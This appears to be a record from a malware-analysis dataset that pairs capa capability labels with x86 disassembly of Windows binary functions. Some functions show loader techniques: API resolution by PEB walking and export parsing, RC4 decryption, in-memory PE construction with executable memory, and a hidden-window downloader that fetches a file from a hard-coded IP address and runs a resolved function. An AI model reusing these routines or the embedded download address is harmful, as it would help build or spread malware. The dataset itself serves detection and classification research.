joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007f03
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [0x1017ce3c], 0x1ab6
mov dword [ebp - 4], 0
mov dword [0x1017ce38], 0x167
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x1017ce38], 0x1a39
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
je 0x10007fa2
jmp 0x10007f77
xor eax, eax
mov dword [0x1017ce3c], 0xf6a
mov dword [ebp - 0x1c], eax
jmp 0x10008075
mov eax, dword [ebp - 0x14]
add eax, 1
cmp eax, 0x104
setl cl
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x21], cl
mov al, byte [ebp - 0x21]
test al, 1
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], edx
jne 0x10007f4b
jmp 0x10007fa2
mov eax, dword [ebp - 0x18]
mov dword [0x1017ce38], 0x91b
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x28], eax
jne 0x10007f63
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x18], 0x6f
sete dl
mov byte [ebp - 0x29], dl
mov al, byte [ebp - 0x29]
test al, 1
jne 0x10007fda
jmp 0x10007f63
mov dword [0x1017ce3c], 0x162b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x10007f63
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff6
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x30]
cmp word [eax + ecx*2], 0x64
jne 0x10007f63
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x12], 0x64
sete dl
mov byte [ebp - 0x31], dl
mov al, byte [ebp - 0x31]
test al, 1
jne 0x10008033
jmp 0x10007f63
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x10007f63
mov dword [0x1017ce38], 0x4b0
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff9
mov dword [ebp - 0x38], eax
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x38]
cmp word [ecx + edx*2], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x10007f63
mov eax, dword [ebp - 0x1c]
add esp, 0x38
pop ebp
ret
Function at 0x1000833a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x58
mov eax, dword [ebp + 8]
mov ecx, dword [0x1017ce38]
add ecx, 0xffffe2e5
mov dword [0x1017ce38], ecx
mov dword [ebp - 0x10], eax
call fcn.10007bc9
xor ecx, ecx
mov edx, eax
mov esi, dword [0x1017ce38]
mov edi, dword [eax + 0x3c]
mov ebx, edx
add ebx, edi
add esi, 0xffffce03
mov dword [0x1017ce38], esi
mov edi, dword [eax + edi]
cmp edi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
je 0x1000839d
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x24]
mov dword [0x1017ce3c], 0x22e3
mov edi, dword [edx + eax + 0x18]
cmp edi, 0
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], ebx
je 0x100084ec
jmp 0x100084a2
mov al, byte [ebp - 0x39]
test al, 1
jne 0x100083eb
jmp 0x1000844a
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x28]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x1017ce38], 0x21
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [0x1017ce3c], 0x201c
mov dword [ebp - 0x38], edx
jmp 0x100084ec
mov al, byte [ebp - 0x41]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x48]
add edx, 1
mov ah, byte [ebp - 0x39]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x4c], edx
jne 0x100084ba
jmp 0x100083e2
xor eax, eax
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov edx, dword [ebp - 0x40]
add edx, 2
mov esi, dword [ebp - 0x34]
cmp ecx, esi
mov edi, dword [ebp - 0x54]
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x60], edi
mov dword [ebp - 0x38], eax
jae 0x100084ec
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x60]
xor esi, esi
mov edi, dword [ebp - 0x2c]
mov ebx, dword [edi + eax*4]
add edx, 0xffffe2e5
mov dword [0x1017ce38], edx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x4c], esi
jmp 0x100084ba
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x30]
add ecx, edx
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x58], eax
jmp 0x10008474
mov eax, dword [ebp - 0x4c]
mov ecx, eax
mov edx, dword [ebp - 0x64]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x48], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x39], cl
je 0x100083e2
jmp 0x1000841f
mov eax, dword [ebp - 0x38]
add esp, 0x58
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100084f7
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1017ce44], 0
mov byte [0x1017ce48], 0
mov edi, dword [0x1017ce38]
add edi, 0xffffde08
mov dword [0x1017ce3c], edi
mov dword [0x1017ce40], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1000854e
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1017ce38]
mov esi, eax
add esi, 0xfffff40d
mov dword [0x1017ce3c], esi
mov esi, dword [0x1017ce40]
add esi, 1
mov dword [0x1017ce40], esi
cmp esi, 0x100
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], esi
jl 0x1000854e
xor eax, eax
mov dword [0x1017ce3c], 0x135f
mov dword [0x1017ce40], 0
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov edx, 0x100
mov esi, eax
add esi, 0xfffff810
mov dword [0x1017ce3c], esi
mov esi, dword [0x1017ce44]
mov edi, dword [ebp - 0x18]
movzx ebx, byte [edi + ecx]
add ebx, esi
mov dword [ebp - 0x2c], eax
mov eax, ecx
xor esi, esi
mov dword [ebp - 0x30], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add ebx, edx
mov eax, ebx
cdq
mov ebx, dword [ebp - 0x30]
idiv ebx
mov dword [0x1017ce44], edx
mov esi, dword [ebp - 0x2c]
add esi, 0xffffee70
mov dword [0x1017ce38], esi
mov bl, byte [edi + ecx]
mov byte [0x1017ce48], bl
mov dword [0x1017ce38], 0x1eef
mov bl, byte [edi + edx]
mov byte [edi + ecx], bl
mov dword [0x1017ce3c], 0x13
mov bl, byte [0x1017ce48]
mov ecx, dword [0x1017ce44]
mov byte [edi + ecx], bl
mov ecx, dword [0x1017ce40]
add ecx, 1
mov dword [0x1017ce40], ecx
cmp ecx, 0x100
mov dword [ebp - 0x34], ecx
jge 0x10008546
mov eax, dword [0x1017ce38]
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x100085ad
Function at 0x100088d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x88
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [0x1017ce3c], 0x174e
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.10008f3b
lea ecx, [0x1000870b]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x30], edx
mov dword [0x1017ce3c], 0x1d20
mov dword [esp + 0x44], 0x113a00
mov edx, dword [0x1017ce24]
mov dword [esp + 0x64], edx
mov edx, dword [0x1017ce28]
mov dword [esp + 0x80], edx
mov edx, dword [0x1017ce2c]
mov dword [esp + 0x74], edx
mov edx, dword [0x1017ce30]
mov dword [esp + 0x48], edx
mov edx, dword [0x1017ce34]
mov dword [esp + 0x5c], edx
mov dword [0x1017ce38], 0xed
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x100089b0
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10008dc9
mov ecx, dword [0x1017ce38]
add ecx, 0xffffe27f
mov dword [0x1017ce38], ecx
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, dword [0x1017ce38]
add eax, 0xfffffc01
mov dword [0x1017ce3c], eax
mov eax, 2
mov dword [esp + 0x10], eax
jmp 0x10008a2d
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x100089db
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
mov dword [esp + 8], ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
cmp dword [eax + ecx], 0x4550
je 0x100089ef
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x100089b0
mov eax, dword [esp + 0xc]
mov dword [esp + 0x34], eax
mov dword [0x1017ce38], 0xffffe78e
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x58], edx
mov dword [0x1017ce3c], 0x9b5
call fcn.10007f03
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
je 0x10008963
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x10008dc9
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x1017ce3c], 0x1f89
mov dword [0x1017ce38], 0xac0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
jmp 0x10008e1b
mov eax, dword [ebp - 0x30]
add esp, 0x50
pop ebp
ret
mov eax, dword [ebp - 0x34]
add eax, 0x1c24
mov dword [0x1017ce3c], 0xfffffe9b
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
jmp 0x10008df6
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax + 0x1015201e]
mov dl, byte [eax + 0x10151fef]
sub dl, cl
mov byte [ebp + eax - 0x20], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x2c], eax
jne 0x10008e1b
lea eax, [ebp - 0x20]
mov dword [0x1017ce3c], 0x25c1
mov dword [0x1017ce38], 0x2380
mov dword [ebp - 0x3c], eax
call fcn.10008b30
mov dword [esp], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
call fcn.10008c3e
xor ecx, ecx
mov edx, dword [0x1017ce38]
add edx, 0xffffee08
mov dword [0x1017ce38], edx
cmp eax, 0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x30], ecx
je 0x10008df6
mov eax, dword [ebp - 0x40]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x34], eax
call fcn.100081cf
xor eax, eax
mov ecx, dword [ebp - 0x34]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 0x4c], ecx
mov ecx, dword [ebp - 0x34]
mov dword [edx + 0x20], ecx
mov dword [0x1017ce38], 0xdd4
cmp ecx, 0
mov dword [ebp - 0x30], eax
je 0x10008df6
jmp 0x10008dfe
Function at 0x41c8c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
jmp 0x41c8db
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0xc]
jae 0x41c9ac
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x100]
add eax, 1
xor edx, edx
mov ecx, 0x100
div ecx
mov eax, dword [ebp - 8]
mov dword [eax + 0x100], edx
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x100]
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + edx]
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x104]
add eax, ecx
xor edx, edx
mov ecx, 0x100
div ecx
mov eax, dword [ebp - 8]
mov dword [eax + 0x104], edx
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
add edx, dword [ecx + 0x104]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
add ecx, dword [eax + 0x100]
push ecx
mov ecx, dword [ebp - 8]
call fcn.0041c9c0
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x100]
mov ecx, dword [ebp - 8]
movzx edx, byte [ecx + eax]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x104]
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + ecx]
add edx, ecx
and edx, 0x800000ff
jns 0x41c986
dec edx
or edx, 0xffffff00
inc edx
mov byte [ebp - 1], dl
movzx edx, byte [ebp - 1]
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + edx]
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc]
movzx eax, byte [edx]
xor eax, ecx
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
mov byte [ecx], al
jmp 0x41c8d2
mov esp, ebp
pop ebp
ret 8
Function at 0x41fde0
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1018
call fcn.00445d60
mov eax, dword [0x4b73c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
call fcn.004200c0
movzx eax, al
test eax, eax
jne 0x41fe15
mov ecx, dword [ebp + 0xc]
call fcn.004200c0
movzx ecx, al
test ecx, ecx
je 0x41fe1f
mov eax, 0x80070057
jmp 0x41ff5c
mov dword [ebp - 0x1014], 0
lea edx, [ebp - 0x1014]
push edx
push 0
push 1
push 0x80
push 0x1001
mov ecx, dword [ebp + 0xc]
call fcn.004200f0
push eax
call dword [sym.imp.SHLWAPI.dll_SHCreateStreamOnFileEx]
mov dword [ebp - 0x1018], eax
cmp dword [ebp - 0x1018], 0
jl 0x41ff56
mov dword [ebp - 0x1010], 0
push 0
push 0
lea eax, [ebp - 0x1010]
push eax
mov ecx, dword [ebp + 8]
call fcn.004200f0
push eax
push 0
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
mov dword [ebp - 0x1018], eax
cmp dword [ebp - 0x1018], 0
jl 0x41ff42
mov dword [ebp - 0x1018], 0x80004005
lea ecx, [ebp - 0x1008]
push ecx
push 0x1000
lea edx, [ebp - 0x1004]
push edx
mov eax, dword [ebp - 0x1010]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1010]
push edx
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x41ff2e
cmp dword [ebp - 0x1008], 0
jbe 0x41ff2e
lea ecx, [ebp - 0x100c]
push ecx
mov edx, dword [ebp - 0x1008]
push edx
lea eax, [ebp - 0x1004]
push eax
mov ecx, dword [ebp - 0x1014]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1014]
push eax
mov ecx, dword [edx + 0x10]
call ecx
mov dword [ebp - 0x1018], eax
cmp dword [ebp - 0x1018], 0
jl 0x41ff1d
mov edx, dword [ebp - 0x1008]
cmp edx, dword [ebp - 0x100c]
je 0x41ff29
mov dword [ebp - 0x1018], 0x80004005
jmp 0x41ff2e
jmp 0x41fea3
mov eax, dword [ebp - 0x1010]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1010]
push edx
mov eax, dword [ecx + 8]
call eax
mov ecx, dword [ebp - 0x1014]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1014]
push eax
mov ecx, dword [edx + 8]
call ecx
mov eax, dword [ebp - 0x1018]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00444884
mov esp, ebp
pop ebp
ret

Function at 0x41ff70
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
call fcn.004200f0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x41ff91
mov dword [ebp - 4], 1
jmp 0x41ff98
mov dword [ebp - 4], 0
movzx eax, byte [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x41ffa0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49cdd5
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x4b73c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.http:__124.156.134.223_NTUSER.DXM
lea ecx, [ebp - 0x40]
call fcn.00420130
mov dword [ebp - 4], 0
push str.C:Program_FilesNTUSER.DXM
lea ecx, [ebp - 0x28]
call fcn.00420130
mov byte [ebp - 4], 1
lea eax, [ebp - 0x28]
push eax
call fcn.0041ff70
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x420018
mov dword [ebp - 0x44], 1
jmp 0x42002b
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x40]
push eax
call fcn.0041fde0
add esp, 8
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], 0
jge 0x420070
push 0x4abf54
push 0x4b90c0
call fcn.0041dc40
add esp, 8
mov dword [ebp - 0x50], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00420110
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00420110
mov eax, dword [ebp - 0x50]
jmp 0x4200a6
call fcn.0041cb40
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x420081
call dword [ebp - 0x48]
mov dword [ebp - 0x54], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00420110
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00420110
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00444884
mov esp, ebp
pop ebp
ret
Function at 0x4226ea
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x42270b
jl 0x422702
test edi, edi
jne 0x42270b
xor eax, eax
xor edx, edx
jmp 0x4227cc
cmp dword [ebx + 0x38], 0
je 0x422720
push eax
push edi
push dword [ebp + 8]
call fcn.004227d2
jmp 0x4227cc
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x422767
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x422767
cmp eax, edi
jb 0x422741
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00446680
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x42276d
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x4227c1
mov ecx, ebx
call fcn.00421d4a
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x4227ac
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.00455053
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x4227c1
jmp 0x42277f
test edx, edx
je 0x4227c1
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00455053
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x4442ee
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.00457e43
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x44432d
sub eax, 1
je 0x444328
sub eax, 1
je 0x444324
xor eax, eax
leave
ret
push 3
jmp 0x44432f
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret

Function at 0x445bdf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x445c1e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x445c1e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x445c1e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x445c1e
cmp dword [ecx + 0x74], 0xe
jbe 0x445c1e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x480370
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4803af
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4803af
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4803af
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4803af
cmp dword [ecx + 0x74], 0xe
jbe 0x4803af
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x484ae0
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4a7f0c
push 0x4a7f04
push str.FlsAlloc
push 0x1f
call fcn.004847ae
mov esi, eax
add esp, 0x10
test esi, esi
je 0x484b14
push dword [ebp + 8]
mov ecx, esi
call dword [0x4a11c0]
call esi
jmp 0x484b1a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x484b5e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4a7f1c
push 0x4a7f14
push str.FlsGetValue
push 0x21
call fcn.004847ae
mov esi, eax
add esp, 0x10
test esi, esi
je 0x484b95
push dword [ebp + 8]
mov ecx, esi
call dword [0x4a11c0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x484b9d
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4a7f24
push 0x4a7f1c
push str.FlsSetValue
push 0x22
call fcn.004847ae
mov esi, eax
add esp, 0x10
test esi, esi
je 0x484bd7
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4a11c0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4871e4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00445d60
mov eax, dword [0x4b73c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004855e0
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x487226
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x487382
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0049bed0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4ba860]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.00488786
mov ecx, dword [esi*4 + 0x4ba860]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x48737b
cmp eax, dword [ecx + edi + 0x24]
jne 0x48737b
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x48737b
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00488786
add esp, 0x14
test edx, edx
jl 0x48737b
jg 0x4872f1
test eax, eax
jb 0x48737b
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x48737b
jl 0x48730b
cmp dword [ebp - 0x1008], eax
ja 0x48737b
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x487329
test ebx, ebx
je 0x487362
cmp ecx, edi
jae 0x487362
mov al, byte [ecx]
cmp al, 0xd
jne 0x487343
lea eax, [edi - 1]
cmp ecx, eax
jae 0x48734f
cmp byte [ecx + 1], 0xa
jne 0x48734f
inc ecx
jmp 0x48734f
movzx eax, al
movsx eax, byte [eax + 0x4b7698]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x487329
cmp edx, ebx
jne 0x487329
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x487380
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00444884
leave
ret